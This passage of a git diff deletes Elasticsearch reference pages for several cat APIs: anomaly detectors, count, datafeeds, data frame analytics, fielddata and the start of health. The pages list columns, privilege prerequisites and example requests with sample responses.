-shards disk.indices disk.used disk.avail disk.total disk.percent host      ip        node
-     1         260b    47.3gb     43.4gb    100.7gb           46 127.0.0.1 127.0.0.1 CSUXak2
---------------------------------------------------
-// TESTRESPONSE[s/\d+(\.\d+)?[tgmk]?b/\\d+(\\.\\d+)?[tgmk]?b/ s/46/\\d+/]
-// TESTRESPONSE[s/CSUXak2/.+/ non_json]
-
-This response shows a single shard is allocated to the one node available.
diff --git a/docs/reference/cat/anomaly-detectors.asciidoc b/docs/reference/cat/anomaly-detectors.asciidoc
deleted file mode 100644
index 33c5016787c..00000000000
--- a/docs/reference/cat/anomaly-detectors.asciidoc
+++ /dev/null
@@ -1,283 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[cat-anomaly-detectors]]
-=== cat anomaly detectors API
-++++
-<titleabbrev>cat anomaly detectors</titleabbrev>
-++++
-
-Returns configuration and usage information about {anomaly-jobs}.
-
-[[cat-anomaly-detectors-request]]
-==== {api-request-title}
-
-`GET /_cat/ml/anomaly_detectors/<job_id>` +
-
-`GET /_cat/ml/anomaly_detectors`
-
-[[cat-anomaly-detectors-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `monitor_ml`,
-`monitor`, `manage_ml`, or `manage` cluster privileges to use this API. See
-<<security-privileges>> and {ml-docs-setup-privileges}.
-
-
-[[cat-anomaly-detectors-desc]]
-==== {api-description-title}
-
-See {ml-docs}/ml-jobs.html[{anomaly-jobs-cap}].
-
-NOTE: This API returns a maximum of 10,000 jobs.
-
-[[cat-anomaly-detectors-path-params]]
-==== {api-path-parms-title}
-
-`<job_id>`::
-(Optional, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=job-id-anomaly-detection]
-
-[[cat-anomaly-detectors-query-params]]
-==== {api-query-parms-title}
-
-`allow_no_match`::
-(Optional, Boolean)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=allow-no-jobs]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=bytes]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=http-format]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-h]
-+
-If you do not specify which columns to include, the API returns the default
-columns. If you explicitly specify one or more columns, it returns only the
-specified columns.
-+
-Valid columns are:
-
-`assignment_explanation`, `ae`:::
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=assignment-explanation-anomaly-jobs]
-
-`buckets.count`, `bc`, `bucketsCount`:::
-(Default)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=bucket-count-anomaly-jobs]
-
-`buckets.time.exp_avg`, `btea`, `bucketsTimeExpAvg`:::
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=bucket-time-exponential-average]
-
-`buckets.time.exp_avg_hour`, `bteah`, `bucketsTimeExpAvgHour`:::
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=bucket-time-exponential-average-hour]
-
-`buckets.time.max`, `btmax`, `bucketsTimeMax`:::
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=bucket-time-maximum]
-
-`buckets.time.min`, `btmin`, `bucketsTimeMin`:::
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=bucket-time-minimum]
-
-`buckets.time.total`, `btt`, `bucketsTimeTotal`:::
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=bucket-time-total]
-
-`data.buckets`, `db`, `dataBuckets`:::
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=bucket-count]
-
-`data.earliest_record`, `der`, `dataEarliestRecord`:::
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=earliest-record-timestamp]
-
-`data.empty_buckets`, `deb`, `dataEmptyBuckets`:::
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=empty-bucket-count]
-
-`data.input_bytes`, `dib`, `dataInputBytes`:::
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=input-bytes]
-
-`data.input_fields`, `dif`, `dataInputFields`:::
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=input-field-count]
-
-`data.input_records`, `dir`, `dataInputRecords`:::
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=input-record-count]
-
-`data.invalid_dates`, `did`, `dataInvalidDates`:::
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=invalid-date-count]
-
-`data.last`, `dl`, `dataLast`:::
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=last-data-time]
-
-`data.last_empty_bucket`, `dleb`, `dataLastEmptyBucket`:::
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=latest-empty-bucket-timestamp]
-
-`data.last_sparse_bucket`, `dlsb`, `dataLastSparseBucket`:::
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=latest-sparse-record-timestamp]
-
-`data.latest_record`, `dlr`, `dataLatestRecord`:::
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=latest-record-timestamp]
-
-`data.missing_fields`, `dmf`, `dataMissingFields`:::
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=missing-field-count]
-
-`data.out_of_order_timestamps`, `doot`, `dataOutOfOrderTimestamps`:::
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=out-of-order-timestamp-count]
-
-`data.processed_fields`, `dpf`, `dataProcessedFields`:::
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=processed-field-count]
-
-`data.processed_records`, `dpr`, `dataProcessedRecords`:::
-(Default)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=processed-record-count]
-
-`data.sparse_buckets`, `dsb`, `dataSparseBuckets`:::
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=sparse-bucket-count]
-
-`forecasts.memory.avg`, `fmavg`, `forecastsMemoryAvg`:::
-The average memory usage in bytes for forecasts related to the {anomaly-job}.
-  
-`forecasts.memory.max`, `fmmax`, `forecastsMemoryMax`:::
-The maximum memory usage in bytes for forecasts related to the {anomaly-job}.
-
-`forecasts.memory.min`, `fmmin`, `forecastsMemoryMin`:::
-The minimum memory usage in bytes for forecasts related to the {anomaly-job}.
-
-`forecasts.memory.total`, `fmt`, `forecastsMemoryTotal`:::
-The total memory usage in bytes for forecasts related to the {anomaly-job}.                      
-  
-`forecasts.records.avg`, `fravg`, `forecastsRecordsAvg`:::
-The average number of `model_forecast` documents written for forecasts related
-to the {anomaly-job}.
-
-`forecasts.records.max`, `frmax`, `forecastsRecordsMax`:::
-The maximum number of `model_forecast` documents written for forecasts related
-to the {anomaly-job}.
-
-`forecasts.records.min`, `frmin`, `forecastsRecordsMin`:::
-The minimum number of `model_forecast` documents written for forecasts related
-to the {anomaly-job}.
-
-`forecasts.records.total`, `frt`, `forecastsRecordsTotal`:::
-The total number of `model_forecast` documents written for forecasts related to
-the {anomaly-job}.                         
-                                                   
-`forecasts.time.avg`, `ftavg`, `forecastsTimeAvg`:::
-The average runtime in milliseconds for forecasts related to the {anomaly-job}.
-
-`forecasts.time.max`, `ftmax`, `forecastsTimeMax`:::
-The maximum runtime in milliseconds for  forecasts related to the {anomaly-job}.
-
-`forecasts.time.min`, `ftmin`, `forecastsTimeMin`:::
-The minimum runtime in milliseconds for forecasts related to the {anomaly-job}.
-
-`forecasts.time.total`, `ftt`, `forecastsTimeTotal`:::
-The total runtime in milliseconds for forecasts related to the {anomaly-job}.
-
-`forecasts.total`, `ft`, `forecastsTotal`:::
-(Default)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=forecast-total]
-
-`id`:::
-(Default)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=job-id-anomaly-detection]
-
-`model.bucket_allocation_failures`, `mbaf`, `modelBucketAllocationFailures`:::
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=bucket-allocation-failures-count]
-
-`model.by_fields`, `mbf`, `modelByFields`:::
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=total-by-field-count]
-
-`model.bytes`, `mb`, `modelBytes`:::
-(Default)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=model-bytes]
-
-`model.bytes_exceeded`, `mbe`, `modelBytesExceeded`:::
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=model-bytes-exceeded]
-
-`model.categorization_status`, `mcs`, `modelCategorizationStatus`:::
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=categorization-status]
-                         
-`model.categorized_doc_count`, `mcdc`, `modelCategorizedDocCount`:::
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=categorized-doc-count]
-
-`model.dead_category_count`, `mdcc`, `modelDeadCategoryCount`:::
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dead-category-count]
-
-`model.failed_category_count`, `mdcc`, `modelFailedCategoryCount`:::
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=failed-category-count]
-
-`model.frequent_category_count`, `mfcc`, `modelFrequentCategoryCount`:::
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=frequent-category-count]
-
-`model.log_time`, `mlt`, `modelLogTime`:::
-The timestamp when the model stats were gathered, according to server time.
-
-`model.memory_limit`, `mml`, `modelMemoryLimit`:::
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=model-memory-limit-anomaly-jobs]
-
-`model.memory_status`, `mms`, `modelMemoryStatus`:::
-(Default)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=model-memory-status]
-
-`model.over_fields`, `mof`, `modelOverFields`:::
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=total-over-field-count]
-
-`model.partition_fields`, `mpf`, `modelPartitionFields`:::
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=total-partition-field-count]
-
-`model.rare_category_count`, `mrcc`, `modelRareCategoryCount`:::
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=rare-category-count]
-
-`model.timestamp`, `mt`, `modelTimestamp`:::
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=model-timestamp]
-                                                           
-`model.total_category_count`, `mtcc`, `modelTotalCategoryCount`:::
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=total-category-count]
-                            
-`node.address`, `na`, `nodeAddress`:::
-The network address of the node.
-+
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=node-jobs]
-
-`node.ephemeral_id`, `ne`, `nodeEphemeralId`:::
-The ephemeral ID of the node.
-+
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=node-jobs]
-
-`node.id`, `ni`, `nodeId`:::
-The unique identifier of the node.
-+
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=node-jobs]
-
-`node.name`, `nn`, `nodeName`:::
-The node name.
-+
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=node-jobs]
-
-`opened_time`, `ot`:::
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=open-time]
-
-`state`, `s`:::
-(Default)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=state-anomaly-job] 
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=help]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-s]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=time]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-v]
-
-[[cat-anomaly-detectors-example]]
-==== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-GET _cat/ml/anomaly_detectors?h=id,s,dpr,mb&v=true
---------------------------------------------------
-// TEST[skip:kibana sample data]
-
-[source,console-result]
-----
-id                        s dpr   mb
-high_sum_total_sales closed 14022 1.5mb
-low_request_rate     closed 1216  40.5kb
-response_code_rates  closed 28146 132.7kb
-url_scanning         closed 28146 501.6kb
-----
-// TESTRESPONSE[skip:kibana sample data]
diff --git a/docs/reference/cat/count.asciidoc b/docs/reference/cat/count.asciidoc
deleted file mode 100644
index 39f3ab1bdaf..00000000000
--- a/docs/reference/cat/count.asciidoc
+++ /dev/null
@@ -1,98 +0,0 @@
-[[cat-count]]
-=== cat count API
-++++
-<titleabbrev>cat count</titleabbrev>
-++++
-
-Provides quick access to a document count for a data stream, an index, or an
-entire cluster.
-
-NOTE: The document count only includes live documents, not deleted documents
-which have not yet been removed by the merge process.
-
-
-[[cat-count-api-request]]
-==== {api-request-title}
-
-`GET /_cat/count/<target>`
-
-`GET /_cat/count`
-
-[[cat-count-api-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the `read`
-<<privileges-list-indices,index privilege>> for any data stream, index, or index
-alias you retrieve.
-
-[[cat-count-api-path-params]]
-==== {api-path-parms-title}
-
-`<target>`::
-(Optional, string)
-Comma-separated list of data streams, indices, and index aliases used to limit
-the request. Wildcard expressions (`*`) are supported.
-+
-To target all data streams and indices in a cluster, omit this parameter or use
-`_all` or `*`.
-
-[[cat-count-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=http-format]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-h]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=help]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-s]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-v]
-
-
-[[cat-count-api-example]]
-==== {api-examples-title}
-
-[[cat-count-api-example-ind]]
-===== Example with an individual data stream or index
-
-The following `count` API request retrieves the document count for the 
-`my-index-000001` data stream or index.
-
-[source,console]
---------------------------------------------------
-GET /_cat/count/my-index-000001?v=true
---------------------------------------------------
-// TEST[setup:my_index_big]
-
-
-The API returns the following response:
-
-[source,txt]
---------------------------------------------------
-epoch      timestamp count
-1475868259 15:24:20  120
---------------------------------------------------
-// TESTRESPONSE[s/1475868259 15:24:20/\\d+ \\d+:\\d+:\\d+/ non_json]
-
-[[cat-count-api-example-all]]
-===== Example with all data streams and indices in a cluster
-
-The following `count` API request retrieves the document count for all data
-streams and indices in the cluster.
-
-[source,console]
---------------------------------------------------
-GET /_cat/count?v=true
---------------------------------------------------
-// TEST[setup:my_index_big]
-// TEST[s/^/POST test\/_doc\?refresh\n{"test": "test"}\n/]
-
-The API returns the following response:
-
-[source,txt]
---------------------------------------------------
-epoch      timestamp count
-1475868259 15:24:20  121
---------------------------------------------------
-// TESTRESPONSE[s/1475868259 15:24:20/\\d+ \\d+:\\d+:\\d+/ non_json]
diff --git a/docs/reference/cat/datafeeds.asciidoc b/docs/reference/cat/datafeeds.asciidoc
deleted file mode 100644
index 9c8f9de6c8d..00000000000
--- a/docs/reference/cat/datafeeds.asciidoc
+++ /dev/null
@@ -1,131 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[cat-datafeeds]]
-=== cat {dfeeds} API
-++++
-<titleabbrev>cat {dfeeds}</titleabbrev>
-++++
-
-Returns configuration and usage information about {dfeeds}.
-
-[[cat-datafeeds-request]]
-==== {api-request-title}
-
-`GET /_cat/ml/datafeeds/<feed_id>` +
-
-`GET /_cat/ml/datafeeds`
-
-[[cat-datafeeds-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `monitor_ml`,
-`monitor`, `manage_ml`, or `manage` cluster privileges to use this API. See
-<<security-privileges>> and {ml-docs-setup-privileges}.
-
-
-[[cat-datafeeds-desc]]
-==== {api-description-title}
-
-{dfeeds-cap} retrieve data from {es} for analysis by {anomaly-jobs}. For more 
-information, see {ml-docs}/ml-dfeeds.html[{dfeeds-cap}].
-
-NOTE: This API returns a maximum of 10,000 jobs.
-
-[[cat-datafeeds-path-params]]
-==== {api-path-parms-title}
-
-`<feed_id>`::
-(Optional, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=datafeed-id]
-
-[[cat-datafeeds-query-params]]
-==== {api-query-parms-title}
-
-`allow_no_match`::
-(Optional, Boolean)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=allow-no-datafeeds]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=http-format]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-h]
-+
-If you do not specify which columns to include, the API returns the default
-columns. If you explicitly specify one or more columns, it returns only the
-specified columns.
-+
-Valid columns are:
-
-`assignment_explanation`, `ae`:::
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=assignment-explanation-datafeeds]
-
-`buckets.count`, `bc`, `bucketsCount`:::
-(Default)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=bucket-count]
-
-`id`:::
-(Default)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=datafeed-id]
-
-`node.address`, `na`, `nodeAddress`:::
-The network address of the node.
-+
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=node-datafeeds]
-  
-`node.ephemeral_id`, `ne`, `nodeEphemeralId`:::
-The ephemeral ID of the node.
-+
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=node-datafeeds]
-  
-`node.id`, `ni`, `nodeId`:::
-The unique identifier of the node.
-+
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=node-datafeeds]
-
-`node.name`, `nn`, `nodeName`:::
-The node name.
-+
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=node-datafeeds]
-
-`search.bucket_avg`, `sba`, `searchBucketAvg`:::
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=search-bucket-avg]
-  
-`search.count`, `sc`, `searchCount`:::
-(Default)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=search-count]
-
-`search.exp_avg_hour`, `seah`, `searchExpAvgHour`:::
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=search-exp-avg-hour]
-
-`search.time`, `st`, `searchTime`:::
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=search-time]
-
-`state`, `s`:::
-(Default)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=state-datafeed]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=help]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-s]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=time]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-v]
-
-[[cat-datafeeds-example]]
-==== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-GET _cat/ml/datafeeds?v=true
---------------------------------------------------
-// TEST[skip:kibana sample data]
-
-[source,console-result]
-----
-id                              state buckets.count search.count
-datafeed-high_sum_total_sales stopped 743          7
-datafeed-low_request_rate     stopped 1457         3
-datafeed-response_code_rates  stopped 1460         18
-datafeed-url_scanning         stopped 1460         18
-----
-// TESTRESPONSE[skip:kibana sample data]
diff --git a/docs/reference/cat/dataframeanalytics.asciidoc b/docs/reference/cat/dataframeanalytics.asciidoc
deleted file mode 100644
index 4fea7f5c87e..00000000000
--- a/docs/reference/cat/dataframeanalytics.asciidoc
+++ /dev/null
@@ -1,138 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[cat-dfanalytics]]
-=== cat {dfanalytics} API
-++++
-<titleabbrev>cat {dfanalytics}</titleabbrev>
-++++
-
-Returns configuration and usage information about {dfanalytics-jobs}.
-
-
-[[cat-dfanalytics-request]]
-==== {api-request-title}
-
-`GET /_cat/ml/data_frame/analytics/<data_frame_analytics_id>` +
-
-`GET /_cat/ml/data_frame/analytics`
-
-
-[[cat-dfanalytics-prereqs]]
-==== {api-prereq-title}
-
-If the {es} {security-features} are enabled, you must have the following 
-privileges:
-
-* cluster: `monitor_ml`
-  
-For more information, see <<security-privileges>> and {ml-docs-setup-privileges}.
-
-
-////
-[[cat-dfanalytics-desc]]
-==== {api-description-title}
-////
-
-
-[[cat-dfanalytics-path-params]]
-==== {api-path-parms-title}
-
-`<data_frame_analytics_id>`::
-(Optional, string) 
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=job-id-data-frame-analytics-default]
-
-
-[[cat-dfanalytics-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=http-format]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-h]
-+
-If you do not specify which columns to include, the API returns the default
-columns. If you explicitly specify one or more columns, it returns only the
-specified columns.
-+
-Valid columns are:
-
-`assignment_explanation`, `ae`:::
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=assignment-explanation-dfanalytics]
-
-`create_time`, `ct`, `createTime`:::
-(Default)
-The time when the {dfanalytics-job} was created.
-
-`description`, `d`:::
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=description-dfa]
-
-`dest_index`, `di`, `destIndex`:::
-Name of the destination index.
-
-`failure_reason`, `fr`, `failureReason`:::
-Contains messages about the reason why a {dfanalytics-job} failed.
-
-`id`:::
-(Default)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=job-id-data-frame-analytics]
-
-`model_memory_limit`, `mml`, `modelMemoryLimit`:::
-The approximate maximum amount of memory resources that are permitted for the 
-{dfanalytics-job}.
-
-`node.address`, `na`, `nodeAddress`:::
-The network address of the node that the {dfanalytics-job} is assigned to.
-
-`node.ephemeral_id`, `ne`, `nodeEphemeralId`:::
-The ephemeral ID of the node that the {dfanalytics-job} is assigned to.
-
-`node.id`, `ni`, `nodeId`:::
-The unique identifier of the node that the {dfanalytics-job} is assigned to.
-
-`node.name`, `nn`, `nodeName`:::
-The name of the node that the {dfanalytics-job} is assigned to.
-
-`progress`, `p`:::
-The progress report of the {dfanalytics-job} by phase.
-
-`source_index`, `si`, `sourceIndex`:::
-Name of the source index.
-
-`state`, `s`:::
-(Default)
-Current state of the {dfanalytics-job}.
-
-`type`, `t`:::
-(Default)
-The type of analysis that the {dfanalytics-job} performs.
-
-`version`, `v`:::
-The {es} version number in which the {dfanalytics-job} was created.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=help]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-s]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=time]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-v]
-
-
-[[cat-dfanalytics-example]]
-==== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-GET _cat/ml/data_frame/analytics?v=true
---------------------------------------------------
-// TEST[skip:kibana sample data]
-
-[source,console-result]
-----
-id               create_time              type             state
-classifier_job_1 2020-02-12T11:49:09.594Z classification stopped
-classifier_job_2 2020-02-12T11:49:14.479Z classification stopped
-classifier_job_3 2020-02-12T11:49:16.928Z classification stopped
-classifier_job_4 2020-02-12T11:49:19.127Z classification stopped
-classifier_job_5 2020-02-12T11:49:21.349Z classification stopped
-----
-// TESTRESPONSE[skip:kibana sample data]
diff --git a/docs/reference/cat/fielddata.asciidoc b/docs/reference/cat/fielddata.asciidoc
deleted file mode 100644
index 1979d8f8625..00000000000
--- a/docs/reference/cat/fielddata.asciidoc
+++ /dev/null
@@ -1,160 +0,0 @@
-[[cat-fielddata]]
-=== cat fielddata API
-++++
-<titleabbrev>cat fielddata</titleabbrev>
-++++
-
-Returns the amount of heap memory currently used by the
-<<modules-fielddata, field data cache>> on every data node in the cluster.
-
-
-[[cat-fielddata-api-request]]
-==== {api-request-title}
-
-`GET /_cat/fielddata/<field>`
-
-`GET /_cat/fielddata`
-
-[[cat-fielddata-api-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the `monitor` or
-`manage` <<privileges-list-cluster,cluster privilege>> to use this API.
-
-[[cat-fielddata-api-path-params]]
-==== {api-path-parms-title}
-
-`<field>`::
-(Optional, string) Comma-separated list of fields used to limit returned
-information.
-
-
-[[cat-fielddata-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=bytes]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=http-format]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-h]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=help]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-s]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-v]
-
-
-[[cat-fielddata-api-example]]
-==== {api-examples-title}
-
-////
-Hidden setup snippet to build an index with fielddata so our results are real:
-
-[source,console]
---------------------------------------------------
-PUT test
-{
-  "mappings": {
-    "properties": {
-      "body": {
-        "type": "text",
-        "fielddata":true
-      },
-      "soul": {
-        "type": "text",
-        "fielddata":true
-      },
-      "mind": {
-        "type": "text",
-        "fielddata":true
-      }
-    }
-  }
-}
-POST test/_doc?refresh
-{
-  "body": "some words so there is a little field data",
-  "soul": "some more words",
-  "mind": "even more words"
-}
-
-# Perform a search to load the field data
-POST test/_search?sort=body,soul,mind
---------------------------------------------------
-////
-
-[[cat-fielddata-api-example-ind]]
-===== Example with an individual field
-
-You can specify an individual field in the request body or URL path. The
-following `fieldata` API request retrieves heap memory size information for the
-`body` field.
-
-[source,console]
---------------------------------------------------
-GET /_cat/fielddata?v=true&fields=body
---------------------------------------------------
-// TEST[continued]
-
-The API returns the following response:
-
-[source,txt]
---------------------------------------------------
-id                     host      ip        node    field   size
-Nqk-6inXQq-OxUfOUI8jNQ 127.0.0.1 127.0.0.1 Nqk-6in body    544b
---------------------------------------------------
-// TESTRESPONSE[s/544b|480b/\\d+(\\.\\d+)?[tgmk]?b/]
-// TESTRESPONSE[s/Nqk-6in[^ ]*/.+/ non_json]
-
-[[cat-fielddata-api-example-list]]
-===== Example with a list of fields
-
-You can specify a comma-separated list of fields in the request body or URL
-path. The following `fieldata` API request retrieves heap memory size
-information for the `body` and `soul` fields.
-
-
-[source,console]
---------------------------------------------------
-GET /_cat/fielddata/body,soul?v=true
---------------------------------------------------
-// TEST[continued]
-
-The API returns the following response:
-
-[source,txt]
---------------------------------------------------
-id                     host      ip        node    field   size
-Nqk-6inXQq-OxUfOUI8jNQ 127.0.0.1 127.0.0.1 Nqk-6in body    544b
-Nqk-6inXQq-OxUfOUI8jNQ 127.0.0.1 127.0.0.1 Nqk-6in soul    480b
---------------------------------------------------
-// TESTRESPONSE[s/544b|480b/\\d+(\\.\\d+)?[tgmk]?b/]
-// TESTRESPONSE[s/Nqk-6in[^ ]*/.+/ s/soul|body/\\w+/ non_json]
-
-The response shows the individual fielddata for the `body` and `soul` fields,
-one row per field per node.
-
-[[cat-fielddata-api-example-all]]
-===== Example with all fields in a cluster
-
-The following `fieldata` API request retrieves heap memory size
-information all fields.
-
-[source,console]
---------------------------------------------------
-GET /_cat/fielddata?v=true
---------------------------------------------------
-// TEST[continued]
-
-The API returns the following response:
-
-[source,txt]
---------------------------------------------------
-id                     host      ip        node    field   size
-Nqk-6inXQq-OxUfOUI8jNQ 127.0.0.1 127.0.0.1 Nqk-6in body    544b
-Nqk-6inXQq-OxUfOUI8jNQ 127.0.0.1 127.0.0.1 Nqk-6in mind    360b
-Nqk-6inXQq-OxUfOUI8jNQ 127.0.0.1 127.0.0.1 Nqk-6in soul    480b
---------------------------------------------------
-// TESTRESPONSE[s/544b|480b|360b/\\d+(\\.\\d+)?[tgmk]?b/]
-// TESTRESPONSE[s/Nqk-6in[^ ]*/.+/ s/soul|body|mind/\\w+/ non_json]
\ No newline at end of file
diff --git a/docs/reference/cat/health.asciidoc b/docs/reference/cat/health.asciidoc
deleted file mode 100644
index 53f9371a9b1..00000000000
--- a/docs/reference/cat/health.asciidoc
+++ /dev/null
@@ -1,145 +0,0 @@
-[[cat-health]]
-=== cat health API
-++++
-<titleabbrev>cat health</titleabbrev>
-++++
-
-Returns the health status of a cluster, similar to the <<cluster-health,cluster
-health>> API.
-
-
-[[cat-health-api-request]]
-==== {api-request-title}
-
-`GET /_cat/health`
-
-[[cat-health-api-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the `monitor` or
-`manage` <<privileges-list-cluster,cluster privilege>> to use this API.
-
-[[cat-health-api-desc]]
-==== {api-description-title}
-
-You can use the cat health API to get the health status of a cluster.
-
-[[timestamp]]
-This API is often used to check malfunctioning clusters. To help you
-track cluster health alongside log files and alerting systems, the API returns
-timestamps in two formats:
-
-* `HH:MM:SS`, which is human-readable but includes no date information.
-* {wikipedia}/Unix_time[Unix `epoch` time], which is
-machine-sortable and includes date information. This is useful for cluster
-recoveries that take multiple days.
-
-You can use the cat health API to verify cluster health across multiple nodes.
-See <<cat-health-api-example-across-nodes>>.
-
-You also can use the API to track the recovery of a large cluster
-over a longer period of time. See <<cat-health-api-example-large-cluster>>.
-
-
-[[cat-health-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=http-format]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-h]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=help]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-s]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=time]
-
-`ts` (timestamps)::
-(Optional, Boolean) If `true`, returns `HH:MM:SS` and
-{wikipedia}/Unix_time[Unix `epoch`] timestamps. Defaults to
-`true`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-v]
-
-
-[[cat-health-api-example]]
-==== {api-examples-title}
-
-[[cat-health-api-example-timestamp]]
-===== Example with a timestamp
-By default, the cat health API returns `HH:MM:SS` and
-{wikipedia}/Unix_time[Unix `epoch`] timestamps. For example:
-
-[source,console]
---------------------------------------------------
-GET /_cat/health?v=true
---------------------------------------------------
-// TEST[s/^/PUT my-index-000001\n{"settings":{"number_of_replicas": 0}}\n/]
-
-The API returns the following response:
-
-[source,txt]
---------------------------------------------------
